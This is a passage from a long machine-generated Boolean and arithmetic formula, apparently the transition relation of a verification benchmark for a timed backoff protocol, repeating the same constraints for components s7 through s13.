(( !_x_s13_evt0) && ( !_x_s13_evt1))) || (_x_s13_evt2 && (( !_x_s13_evt0) && ( !_x_s13_evt1)))) || ((( !_x_s13_evt2) && (_x_s13_evt1 && ( !_x_s13_evt0))) || (_x_s13_evt2 && (_x_s13_evt1 && ( !_x_s13_evt0)))))) && ((( !_x_s13_l0) && ( !_x_s13_l1)) || ((_x_s13_l1 && ( !_x_s13_l0)) || (_x_s13_l0 && ( !_x_s13_l1))))) && (13.0 <= _x_s13_backoff)) && (( !(_x_s13_lambda <= 0.0)) && ((_x_s13_x <= _x_s13_lambda) || ( !(_x_s13_l1 && ( !_x_s13_l0)))))) && (((((s13_l0 == _x_s13_l0) && (s13_l1 == _x_s13_l1)) && (s13_lambda == _x_s13_lambda)) && (((delta + (s13_x + (-1.0 * _x_s13_x))) == 0.0) && (s13_backoff == _x_s13_backoff))) || ( !(( !(delta <= 0.0)) || (( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))))))) && ((((_x_s13_l0 && ( !_x_s13_l1)) || ((( !_x_s13_l0) && ( !_x_s13_l1)) || (_x_s13_l1 && ( !_x_s13_l0)))) && ((s13_backoff == _x_s13_backoff) && (_x_s13_x == 0.0))) || ( !((( !s13_l0) && ( !s13_l1)) && ((delta == 0.0) && ( !(( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))))))))) && (((( !s13_evt2) && (s13_evt0 && ( !s13_evt1))) && (s13_lambda == _x_s13_lambda)) || ( !((( !_x_s13_l0) && ( !_x_s13_l1)) && ((( !s13_l0) && ( !s13_l1)) && ((delta == 0.0) && ( !(( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1)))))))))) && ((s13_evt2 && (( !s13_evt0) && ( !s13_evt1))) || ( !((_x_s13_l1 && ( !_x_s13_l0)) && ((( !s13_l0) && ( !s13_l1)) && ((delta == 0.0) && ( !(( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1)))))))))) && (((s13_lambda == _x_s13_lambda) && ((s13_evt2 && (s13_evt1 && ( !s13_evt0))) || (( !s13_evt2) && (s13_evt0 && ( !s13_evt1))))) || ( !((_x_s13_l0 && ( !_x_s13_l1)) && ((( !s13_l0) && ( !s13_l1)) && ((delta == 0.0) && ( !(( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1)))))))))) && ((((s13_lambda == _x_s13_lambda) && (_x_s13_x == 0.0)) && ((( !_x_s13_l0) && ( !_x_s13_l1)) || (_x_s13_l0 && ( !_x_s13_l1)))) || ( !((s13_l1 && ( !s13_l0)) && ((delta == 0.0) && ( !(( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))))))))) && (((s13_lambda <= s13_x) && ((( !s13_evt2) && (s13_evt1 && ( !s13_evt0))) && (_x_s13_backoff <= s13_backoff))) || ( !((( !_x_s13_l0) && ( !_x_s13_l1)) && ((s13_l1 && ( !s13_l0)) && ((delta == 0.0) && ( !(( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1)))))))))) && (((( !s13_evt2) && (s13_evt0 && ( !s13_evt1))) && ((s13_backoff + (-1.0 * _x_s13_backoff)) <= -1.0)) || ( !((_x_s13_l0 && ( !_x_s13_l1)) && ((s13_l1 && ( !s13_l0)) && ((delta == 0.0) && ( !(( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1)))))))))) && (((s13_lambda == _x_s13_lambda) && (((_x_s13_l1 && ( !_x_s13_l0)) || (_x_s13_l0 && ( !_x_s13_l1))) && ((s13_backoff == _x_s13_backoff) && (_x_s13_x == 0.0)))) || ( !((s13_l0 && ( !s13_l1)) && ((delta == 0.0) && ( !(( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))))))))) && ((( !s13_evt2) && (s13_evt0 && ( !s13_evt1))) || ( !((_x_s13_l0 && ( !_x_s13_l1)) && ((s13_l0 && ( !s13_l1)) && ((delta == 0.0) && ( !(( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1)))))))))) && (((s13_evt2 && (( !s13_evt0) && ( !s13_evt1))) && (s13_backoff <= s13_x)) || ( !((_x_s13_l1 && ( !_x_s13_l0)) && ((s13_l0 && ( !s13_l1)) && ((delta == 0.0) && ( !(( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1)))))))))) && (((((((((((((((((( !_x_s12_evt2) && (_x_s12_evt0 && ( !_x_s12_evt1))) || (((( !_x_s12_evt2) && (( !_x_s12_evt0) && ( !_x_s12_evt1))) || (_x_s12_evt2 && (( !_x_s12_evt0) && ( !_x_s12_evt1)))) || ((( !_x_s12_evt2) && (_x_s12_evt1 && ( !_x_s12_evt0))) || (_x_s12_evt2 && (_x_s12_evt1 && ( !_x_s12_evt0)))))) && ((( !_x_s12_l0) && ( !_x_s12_l1)) || ((_x_s12_l1 && ( !_x_s12_l0)) || (_x_s12_l0 && ( !_x_s12_l1))))) && (13.0 <= _x_s12_backoff)) && (( !(_x_s12_lambda <= 0.0)) && ((_x_s12_x <= _x_s12_lambda) || ( !(_x_s12_l1 && ( !_x_s12_l0)))))) && (((((s12_l0 == _x_s12_l0) && (s12_l1 == _x_s12_l1)) && (s12_lambda == _x_s12_lambda)) && (((delta + (s12_x + (-1.0 * _x_s12_x))) == 0.0) && (s12_backoff == _x_s12_backoff))) || ( !(( !(delta <= 0.0)) || (( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))))))) && ((((_x_s12_l0 && ( !_x_s12_l1)) || ((( !_x_s12_l0) && ( !_x_s12_l1)) || (_x_s12_l1 && ( !_x_s12_l0)))) && ((s12_backoff == _x_s12_backoff) && (_x_s12_x == 0.0))) || ( !((( !s12_l0) && ( !s12_l1)) && ((delta == 0.0) && ( !(( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))))))))) && (((( !s12_evt2) && (s12_evt0 && ( !s12_evt1))) && (s12_lambda == _x_s12_lambda)) || ( !((( !_x_s12_l0) && ( !_x_s12_l1)) && ((( !s12_l0) && ( !s12_l1)) && ((delta == 0.0) && ( !(( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1)))))))))) && ((s12_evt2 && (( !s12_evt0) && ( !s12_evt1))) || ( !((_x_s12_l1 && ( !_x_s12_l0)) && ((( !s12_l0) && ( !s12_l1)) && ((delta == 0.0) && ( !(( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1)))))))))) && (((s12_lambda == _x_s12_lambda) && ((s12_evt2 && (s12_evt1 && ( !s12_evt0))) || (( !s12_evt2) && (s12_evt0 && ( !s12_evt1))))) || ( !((_x_s12_l0 && ( !_x_s12_l1)) && ((( !s12_l0) && ( !s12_l1)) && ((delta == 0.0) && ( !(( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1)))))))))) && ((((s12_lambda == _x_s12_lambda) && (_x_s12_x == 0.0)) && ((( !_x_s12_l0) && ( !_x_s12_l1)) || (_x_s12_l0 && ( !_x_s12_l1)))) || ( !((s12_l1 && ( !s12_l0)) && ((delta == 0.0) && ( !(( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))))))))) && (((s12_lambda <= s12_x) && ((( !s12_evt2) && (s12_evt1 && ( !s12_evt0))) && (_x_s12_backoff <= s12_backoff))) || ( !((( !_x_s12_l0) && ( !_x_s12_l1)) && ((s12_l1 && ( !s12_l0)) && ((delta == 0.0) && ( !(( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1)))))))))) && (((( !s12_evt2) && (s12_evt0 && ( !s12_evt1))) && ((s12_backoff + (-1.0 * _x_s12_backoff)) <= -1.0)) || ( !((_x_s12_l0 && ( !_x_s12_l1)) && ((s12_l1 && ( !s12_l0)) && ((delta == 0.0) && ( !(( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1)))))))))) && (((s12_lambda == _x_s12_lambda) && (((_x_s12_l1 && ( !_x_s12_l0)) || (_x_s12_l0 && ( !_x_s12_l1))) && ((s12_backoff == _x_s12_backoff) && (_x_s12_x == 0.0)))) || ( !((s12_l0 && ( !s12_l1)) && ((delta == 0.0) && ( !(( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))))))))) && ((( !s12_evt2) && (s12_evt0 && ( !s12_evt1))) || ( !((_x_s12_l0 && ( !_x_s12_l1)) && ((s12_l0 && ( !s12_l1)) && ((delta == 0.0) && ( !(( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1)))))))))) && (((s12_evt2 && (( !s12_evt0) && ( !s12_evt1))) && (s12_backoff <= s12_x)) || ( !((_x_s12_l1 && ( !_x_s12_l0)) && ((s12_l0 && ( !s12_l1)) && ((delta == 0.0) && ( !(( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1)))))))))) && (((((((((((((((((( !_x_s11_evt2) && (_x_s11_evt0 && ( !_x_s11_evt1))) || (((( !_x_s11_evt2) && (( !_x_s11_evt0) && ( !_x_s11_evt1))) || (_x_s11_evt2 && (( !_x_s11_evt0) && ( !_x_s11_evt1)))) || ((( !_x_s11_evt2) && (_x_s11_evt1 && ( !_x_s11_evt0))) || (_x_s11_evt2 && (_x_s11_evt1 && ( !_x_s11_evt0)))))) && ((( !_x_s11_l0) && ( !_x_s11_l1)) || ((_x_s11_l1 && ( !_x_s11_l0)) || (_x_s11_l0 && ( !_x_s11_l1))))) && (13.0 <= _x_s11_backoff)) && (( !(_x_s11_lambda <= 0.0)) && ((_x_s11_x <= _x_s11_lambda) || ( !(_x_s11_l1 && ( !_x_s11_l0)))))) && (((((s11_l0 == _x_s11_l0) && (s11_l1 == _x_s11_l1)) && (s11_lambda == _x_s11_lambda)) && (((delta + (s11_x + (-1.0 * _x_s11_x))) == 0.0) && (s11_backoff == _x_s11_backoff))) || ( !(( !(delta <= 0.0)) || (( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))))))) && ((((_x_s11_l0 && ( !_x_s11_l1)) || ((( !_x_s11_l0) && ( !_x_s11_l1)) || (_x_s11_l1 && ( !_x_s11_l0)))) && ((s11_backoff == _x_s11_backoff) && (_x_s11_x == 0.0))) || ( !((( !s11_l0) && ( !s11_l1)) && ((delta == 0.0) && ( !(( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))))))))) && (((( !s11_evt2) && (s11_evt0 && ( !s11_evt1))) && (s11_lambda == _x_s11_lambda)) || ( !((( !_x_s11_l0) && ( !_x_s11_l1)) && ((( !s11_l0) && ( !s11_l1)) && ((delta == 0.0) && ( !(( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1)))))))))) && ((s11_evt2 && (( !s11_evt0) && ( !s11_evt1))) || ( !((_x_s11_l1 && ( !_x_s11_l0)) && ((( !s11_l0) && ( !s11_l1)) && ((delta == 0.0) && ( !(( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1)))))))))) && (((s11_lambda == _x_s11_lambda) && ((s11_evt2 && (s11_evt1 && ( !s11_evt0))) || (( !s11_evt2) && (s11_evt0 && ( !s11_evt1))))) || ( !((_x_s11_l0 && ( !_x_s11_l1)) && ((( !s11_l0) && ( !s11_l1)) && ((delta == 0.0) && ( !(( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1)))))))))) && ((((s11_lambda == _x_s11_lambda) && (_x_s11_x == 0.0)) && ((( !_x_s11_l0) && ( !_x_s11_l1)) || (_x_s11_l0 && ( !_x_s11_l1)))) || ( !((s11_l1 && ( !s11_l0)) && ((delta == 0.0) && ( !(( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))))))))) && (((s11_lambda <= s11_x) && ((( !s11_evt2) && (s11_evt1 && ( !s11_evt0))) && (_x_s11_backoff <= s11_backoff))) || ( !((( !_x_s11_l0) && ( !_x_s11_l1)) && ((s11_l1 && ( !s11_l0)) && ((delta == 0.0) && ( !(( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1)))))))))) && (((( !s11_evt2) && (s11_evt0 && ( !s11_evt1))) && ((s11_backoff + (-1.0 * _x_s11_backoff)) <= -1.0)) || ( !((_x_s11_l0 && ( !_x_s11_l1)) && ((s11_l1 && ( !s11_l0)) && ((delta == 0.0) && ( !(( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1)))))))))) && (((s11_lambda == _x_s11_lambda) && (((_x_s11_l1 && ( !_x_s11_l0)) || (_x_s11_l0 && ( !_x_s11_l1))) && ((s11_backoff == _x_s11_backoff) && (_x_s11_x == 0.0)))) || ( !((s11_l0 && ( !s11_l1)) && ((delta == 0.0) && ( !(( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))))))))) && ((( !s11_evt2) && (s11_evt0 && ( !s11_evt1))) || ( !((_x_s11_l0 && ( !_x_s11_l1)) && ((s11_l0 && ( !s11_l1)) && ((delta == 0.0) && ( !(( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1)))))))))) && (((s11_evt2 && (( !s11_evt0) && ( !s11_evt1))) && (s11_backoff <= s11_x)) || ( !((_x_s11_l1 && ( !_x_s11_l0)) && ((s11_l0 && ( !s11_l1)) && ((delta == 0.0) && ( !(( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1)))))))))) && (((((((((((((((((( !_x_s10_evt2) && (_x_s10_evt0 && ( !_x_s10_evt1))) || (((( !_x_s10_evt2) && (( !_x_s10_evt0) && ( !_x_s10_evt1))) || (_x_s10_evt2 && (( !_x_s10_evt0) && ( !_x_s10_evt1)))) || ((( !_x_s10_evt2) && (_x_s10_evt1 && ( !_x_s10_evt0))) || (_x_s10_evt2 && (_x_s10_evt1 && ( !_x_s10_evt0)))))) && ((( !_x_s10_l0) && ( !_x_s10_l1)) || ((_x_s10_l1 && ( !_x_s10_l0)) || (_x_s10_l0 && ( !_x_s10_l1))))) && (13.0 <= _x_s10_backoff)) && (( !(_x_s10_lambda <= 0.0)) && ((_x_s10_x <= _x_s10_lambda) || ( !(_x_s10_l1 && ( !_x_s10_l0)))))) && (((((s10_l0 == _x_s10_l0) && (s10_l1 == _x_s10_l1)) && (s10_lambda == _x_s10_lambda)) && (((delta + (s10_x + (-1.0 * _x_s10_x))) == 0.0) && (s10_backoff == _x_s10_backoff))) || ( !(( !(delta <= 0.0)) || (( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))))))) && ((((_x_s10_l0 && ( !_x_s10_l1)) || ((( !_x_s10_l0) && ( !_x_s10_l1)) || (_x_s10_l1 && ( !_x_s10_l0)))) && ((s10_backoff == _x_s10_backoff) && (_x_s10_x == 0.0))) || ( !((( !s10_l0) && ( !s10_l1)) && ((delta == 0.0) && ( !(( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))))))))) && (((( !s10_evt2) && (s10_evt0 && ( !s10_evt1))) && (s10_lambda == _x_s10_lambda)) || ( !((( !_x_s10_l0) && ( !_x_s10_l1)) && ((( !s10_l0) && ( !s10_l1)) && ((delta == 0.0) && ( !(( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1)))))))))) && ((s10_evt2 && (( !s10_evt0) && ( !s10_evt1))) || ( !((_x_s10_l1 && ( !_x_s10_l0)) && ((( !s10_l0) && ( !s10_l1)) && ((delta == 0.0) && ( !(( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1)))))))))) && (((s10_lambda == _x_s10_lambda) && ((s10_evt2 && (s10_evt1 && ( !s10_evt0))) || (( !s10_evt2) && (s10_evt0 && ( !s10_evt1))))) || ( !((_x_s10_l0 && ( !_x_s10_l1)) && ((( !s10_l0) && ( !s10_l1)) && ((delta == 0.0) && ( !(( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1)))))))))) && ((((s10_lambda == _x_s10_lambda) && (_x_s10_x == 0.0)) && ((( !_x_s10_l0) && ( !_x_s10_l1)) || (_x_s10_l0 && ( !_x_s10_l1)))) || ( !((s10_l1 && ( !s10_l0)) && ((delta == 0.0) && ( !(( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))))))))) && (((s10_lambda <= s10_x) && ((( !s10_evt2) && (s10_evt1 && ( !s10_evt0))) && (_x_s10_backoff <= s10_backoff))) || ( !((( !_x_s10_l0) && ( !_x_s10_l1)) && ((s10_l1 && ( !s10_l0)) && ((delta == 0.0) && ( !(( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1)))))))))) && (((( !s10_evt2) && (s10_evt0 && ( !s10_evt1))) && ((s10_backoff + (-1.0 * _x_s10_backoff)) <= -1.0)) || ( !((_x_s10_l0 && ( !_x_s10_l1)) && ((s10_l1 && ( !s10_l0)) && ((delta == 0.0) && ( !(( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1)))))))))) && (((s10_lambda == _x_s10_lambda) && (((_x_s10_l1 && ( !_x_s10_l0)) || (_x_s10_l0 && ( !_x_s10_l1))) && ((s10_backoff == _x_s10_backoff) && (_x_s10_x == 0.0)))) || ( !((s10_l0 && ( !s10_l1)) && ((delta == 0.0) && ( !(( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))))))))) && ((( !s10_evt2) && (s10_evt0 && ( !s10_evt1))) || ( !((_x_s10_l0 && ( !_x_s10_l1)) && ((s10_l0 && ( !s10_l1)) && ((delta == 0.0) && ( !(( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1)))))))))) && (((s10_evt2 && (( !s10_evt0) && ( !s10_evt1))) && (s10_backoff <= s10_x)) || ( !((_x_s10_l1 && ( !_x_s10_l0)) && ((s10_l0 && ( !s10_l1)) && ((delta == 0.0) && ( !(( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1)))))))))) && (((((((((((((((((( !_x_s9_evt2) && (_x_s9_evt0 && ( !_x_s9_evt1))) || (((( !_x_s9_evt2) && (( !_x_s9_evt0) && ( !_x_s9_evt1))) || (_x_s9_evt2 && (( !_x_s9_evt0) && ( !_x_s9_evt1)))) || ((( !_x_s9_evt2) && (_x_s9_evt1 && ( !_x_s9_evt0))) || (_x_s9_evt2 && (_x_s9_evt1 && ( !_x_s9_evt0)))))) && ((( !_x_s9_l0) && ( !_x_s9_l1)) || ((_x_s9_l1 && ( !_x_s9_l0)) || (_x_s9_l0 && ( !_x_s9_l1))))) && (13.0 <= _x_s9_backoff)) && (( !(_x_s9_lambda <= 0.0)) && ((_x_s9_x <= _x_s9_lambda) || ( !(_x_s9_l1 && ( !_x_s9_l0)))))) && (((((s9_l0 == _x_s9_l0) && (s9_l1 == _x_s9_l1)) && (s9_lambda == _x_s9_lambda)) && (((delta + (s9_x + (-1.0 * _x_s9_x))) == 0.0) && (s9_backoff == _x_s9_backoff))) || ( !(( !(delta <= 0.0)) || (( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))))))) && ((((_x_s9_l0 && ( !_x_s9_l1)) || ((( !_x_s9_l0) && ( !_x_s9_l1)) || (_x_s9_l1 && ( !_x_s9_l0)))) && ((s9_backoff == _x_s9_backoff) && (_x_s9_x == 0.0))) || ( !((( !s9_l0) && ( !s9_l1)) && ((delta == 0.0) && ( !(( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))))))))) && (((( !s9_evt2) && (s9_evt0 && ( !s9_evt1))) && (s9_lambda == _x_s9_lambda)) || ( !((( !_x_s9_l0) && ( !_x_s9_l1)) && ((( !s9_l0) && ( !s9_l1)) && ((delta == 0.0) && ( !(( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1)))))))))) && ((s9_evt2 && (( !s9_evt0) && ( !s9_evt1))) || ( !((_x_s9_l1 && ( !_x_s9_l0)) && ((( !s9_l0) && ( !s9_l1)) && ((delta == 0.0) && ( !(( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1)))))))))) && (((s9_lambda == _x_s9_lambda) && ((s9_evt2 && (s9_evt1 && ( !s9_evt0))) || (( !s9_evt2) && (s9_evt0 && ( !s9_evt1))))) || ( !((_x_s9_l0 && ( !_x_s9_l1)) && ((( !s9_l0) && ( !s9_l1)) && ((delta == 0.0) && ( !(( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1)))))))))) && ((((s9_lambda == _x_s9_lambda) && (_x_s9_x == 0.0)) && ((( !_x_s9_l0) && ( !_x_s9_l1)) || (_x_s9_l0 && ( !_x_s9_l1)))) || ( !((s9_l1 && ( !s9_l0)) && ((delta == 0.0) && ( !(( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))))))))) && (((s9_lambda <= s9_x) && ((( !s9_evt2) && (s9_evt1 && ( !s9_evt0))) && (_x_s9_backoff <= s9_backoff))) || ( !((( !_x_s9_l0) && ( !_x_s9_l1)) && ((s9_l1 && ( !s9_l0)) && ((delta == 0.0) && ( !(( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1)))))))))) && (((( !s9_evt2) && (s9_evt0 && ( !s9_evt1))) && ((s9_backoff + (-1.0 * _x_s9_backoff)) <= -1.0)) || ( !((_x_s9_l0 && ( !_x_s9_l1)) && ((s9_l1 && ( !s9_l0)) && ((delta == 0.0) && ( !(( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1)))))))))) && (((s9_lambda == _x_s9_lambda) && (((_x_s9_l1 && ( !_x_s9_l0)) || (_x_s9_l0 && ( !_x_s9_l1))) && ((s9_backoff == _x_s9_backoff) && (_x_s9_x == 0.0)))) || ( !((s9_l0 && ( !s9_l1)) && ((delta == 0.0) && ( !(( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))))))))) && ((( !s9_evt2) && (s9_evt0 && ( !s9_evt1))) || ( !((_x_s9_l0 && ( !_x_s9_l1)) && ((s9_l0 && ( !s9_l1)) && ((delta == 0.0) && ( !(( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1)))))))))) && (((s9_evt2 && (( !s9_evt0) && ( !s9_evt1))) && (s9_backoff <= s9_x)) || ( !((_x_s9_l1 && ( !_x_s9_l0)) && ((s9_l0 && ( !s9_l1)) && ((delta == 0.0) && ( !(( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1)))))))))) && (((((((((((((((((( !_x_s8_evt2) && (_x_s8_evt0 && ( !_x_s8_evt1))) || (((( !_x_s8_evt2) && (( !_x_s8_evt0) && ( !_x_s8_evt1))) || (_x_s8_evt2 && (( !_x_s8_evt0) && ( !_x_s8_evt1)))) || ((( !_x_s8_evt2) && (_x_s8_evt1 && ( !_x_s8_evt0))) || (_x_s8_evt2 && (_x_s8_evt1 && ( !_x_s8_evt0)))))) && ((( !_x_s8_l0) && ( !_x_s8_l1)) || ((_x_s8_l1 && ( !_x_s8_l0)) || (_x_s8_l0 && ( !_x_s8_l1))))) && (13.0 <= _x_s8_backoff)) && (( !(_x_s8_lambda <= 0.0)) && ((_x_s8_x <= _x_s8_lambda) || ( !(_x_s8_l1 && ( !_x_s8_l0)))))) && (((((s8_l0 == _x_s8_l0) && (s8_l1 == _x_s8_l1)) && (s8_lambda == _x_s8_lambda)) && (((delta + (s8_x + (-1.0 * _x_s8_x))) == 0.0) && (s8_backoff == _x_s8_backoff))) || ( !(( !(delta <= 0.0)) || (( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))))))) && ((((_x_s8_l0 && ( !_x_s8_l1)) || ((( !_x_s8_l0) && ( !_x_s8_l1)) || (_x_s8_l1 && ( !_x_s8_l0)))) && ((s8_backoff == _x_s8_backoff) && (_x_s8_x == 0.0))) || ( !((( !s8_l0) && ( !s8_l1)) && ((delta == 0.0) && ( !(( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))))))))) && (((( !s8_evt2) && (s8_evt0 && ( !s8_evt1))) && (s8_lambda == _x_s8_lambda)) || ( !((( !_x_s8_l0) && ( !_x_s8_l1)) && ((( !s8_l0) && ( !s8_l1)) && ((delta == 0.0) && ( !(( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1)))))))))) && ((s8_evt2 && (( !s8_evt0) && ( !s8_evt1))) || ( !((_x_s8_l1 && ( !_x_s8_l0)) && ((( !s8_l0) && ( !s8_l1)) && ((delta == 0.0) && ( !(( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1)))))))))) && (((s8_lambda == _x_s8_lambda) && ((s8_evt2 && (s8_evt1 && ( !s8_evt0))) || (( !s8_evt2) && (s8_evt0 && ( !s8_evt1))))) || ( !((_x_s8_l0 && ( !_x_s8_l1)) && ((( !s8_l0) && ( !s8_l1)) && ((delta == 0.0) && ( !(( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1)))))))))) && ((((s8_lambda == _x_s8_lambda) && (_x_s8_x == 0.0)) && ((( !_x_s8_l0) && ( !_x_s8_l1)) || (_x_s8_l0 && ( !_x_s8_l1)))) || ( !((s8_l1 && ( !s8_l0)) && ((delta == 0.0) && ( !(( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))))))))) && (((s8_lambda <= s8_x) && ((( !s8_evt2) && (s8_evt1 && ( !s8_evt0))) && (_x_s8_backoff <= s8_backoff))) || ( !((( !_x_s8_l0) && ( !_x_s8_l1)) && ((s8_l1 && ( !s8_l0)) && ((delta == 0.0) && ( !(( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1)))))))))) && (((( !s8_evt2) && (s8_evt0 && ( !s8_evt1))) && ((s8_backoff + (-1.0 * _x_s8_backoff)) <= -1.0)) || ( !((_x_s8_l0 && ( !_x_s8_l1)) && ((s8_l1 && ( !s8_l0)) && ((delta == 0.0) && ( !(( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1)))))))))) && (((s8_lambda == _x_s8_lambda) && (((_x_s8_l1 && ( !_x_s8_l0)) || (_x_s8_l0 && ( !_x_s8_l1))) && ((s8_backoff == _x_s8_backoff) && (_x_s8_x == 0.0)))) || ( !((s8_l0 && ( !s8_l1)) && ((delta == 0.0) && ( !(( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))))))))) && ((( !s8_evt2) && (s8_evt0 && ( !s8_evt1))) || ( !((_x_s8_l0 && ( !_x_s8_l1)) && ((s8_l0 && ( !s8_l1)) && ((delta == 0.0) && ( !(( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1)))))))))) && (((s8_evt2 && (( !s8_evt0) && ( !s8_evt1))) && (s8_backoff <= s8_x)) || ( !((_x_s8_l1 && ( !_x_s8_l0)) && ((s8_l0 && ( !s8_l1)) && ((delta == 0.0) && ( !(( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1)))))))))) && (((((((((((((((((( !_x_s7_evt2) && (_x_s7_evt0 && ( !_x_s7_evt1))) || (((( !_x_s7_evt2) && (( !_x_s7_evt0) && ( !_x_s7_evt1))) || (_x_s7_evt2 && (( !_x_s7_evt0) && ( !_x_s7_evt1)))) || ((( !_x_s7_evt2) && (_x_s7_evt1 && ( !_x_s7_evt0))) || (_x_s7_evt2 && (_x_s7_evt1 && ( !_x_s7_evt0)))))) && ((( !_x_s7_l0) && ( !_x_s7_l1)) || ((_x_s7_l1 && ( !_x_s7_l0)) || (_x_s7_l0 && ( !_x_s7_l1))))) && (13.0 <= _x_s7_backoff)) && (( !(_x_s7_lambda <= 0.0)) && ((_x_s7_x <= _x_s7_lambda) || ( !(_x_s7_l1 && ( !_x_s7_l0)))))) && (((((s7_l0 == _x_s7_l0) && (s7_l1 == _x_s7_l1)) && (s7_lambda == _x_s7_lambda)) && (((delta + (s7_x + (-1.0 * _x_s7_x))) == 0.0) && (s7_backoff == _x_s7_backoff))) || ( !(( !(delta <= 0.0)) || (( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))))))) && ((((_x_s7_l0 && ( !_x_s7_l1)) || ((( !_x_s7_l0) && ( !_x_s7_l1)) || (_x_s7_l1 && ( !_x_s7_l0)))) && ((s7_backoff == _x_s7_backoff) && (_x_s7_x == 0.0))) || ( !((( !s7_l0) && ( !s7_l1)) && ((delta == 0.0) && ( !(( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))))))))) && (((( !s7_evt2) && (s7_evt0 && ( !s7_evt1))) && (s7_lambda == _x_s7_lambda)) || ( !((( !_x_s7_l0) && ( !_x_s7_l1)) && ((( !s7_l0) && ( !s7_l1)) && ((delta == 0.0) && ( !(( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1)))))))))) && ((s7_evt2 && (( !s7_evt0) && ( !s7_evt1))) || ( !((_x_s7_l1 && ( !_x_s7_l0)) && ((( !s7_l0) && ( !s7_l1)) && ((delta == 0.0) && ( !(( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1)))))))))) && (((s7_lambda == _x_s7_lambda) && ((s7_evt2 && (s7_evt1 && ( !s7_evt0))) || (( !s7_evt2) && (s7_evt0 && ( !s7_evt1))))) || ( !((_x_s7_l0 && ( !_x_s7_l1)) && ((( !s7_l0) && ( !s7_l1)) && ((delta == 0.0) && ( !(( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1)))))))))) && ((((s7_lambda == _x_s7_lambda) && (_x_s7_x == 0.0)) && ((( !_x_s7_l0) && ( !_x_s7_l1)) || (_x_s7_l0 && ( !_x_s7_l1)))) || ( !((s7_l1 && ( !s7_l0)) && ((delta == 0.0) && ( !(( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))))))))) && (((s7_lambda <= s7_x) && ((( !s7_evt2) && (s7_evt1 && ( !s7_evt0))) && (_x_s7_backoff <= s7_backoff))) || ( !((( !_x_s7_l0) && ( !_x_s7_l1)) && ((s7_l1 && ( !s7_l0)) && ((delta == 0.0) && ( !(( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1)))))))))) && (((( !s7_evt2) && (s7_evt0 && ( !s7_evt1))) && ((s7_backoff + (-1.0 * _x_s7_backoff)) <= -1.0)) || ( !((_x_s7_l0 && ( !_x_s7_l1)) && ((s7_l1 && ( !s7_l0)) && ((delta == 0.0) && ( !(( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1)))))))))) && (((s7_lambda == _x_s7_lambda) && (((_x_s7_l1 && ( !_x_s7_l0)) || (_x_s7_l0 && ( !_x_s7_l1))) && ((s7_backoff == _x_s7_backoff) && (_x_s7_x == 0.0)))) || ( !((s7_l0 && ( !s7_l1)) && ((delta == 0.0) && ( !(( !s7_evt2) 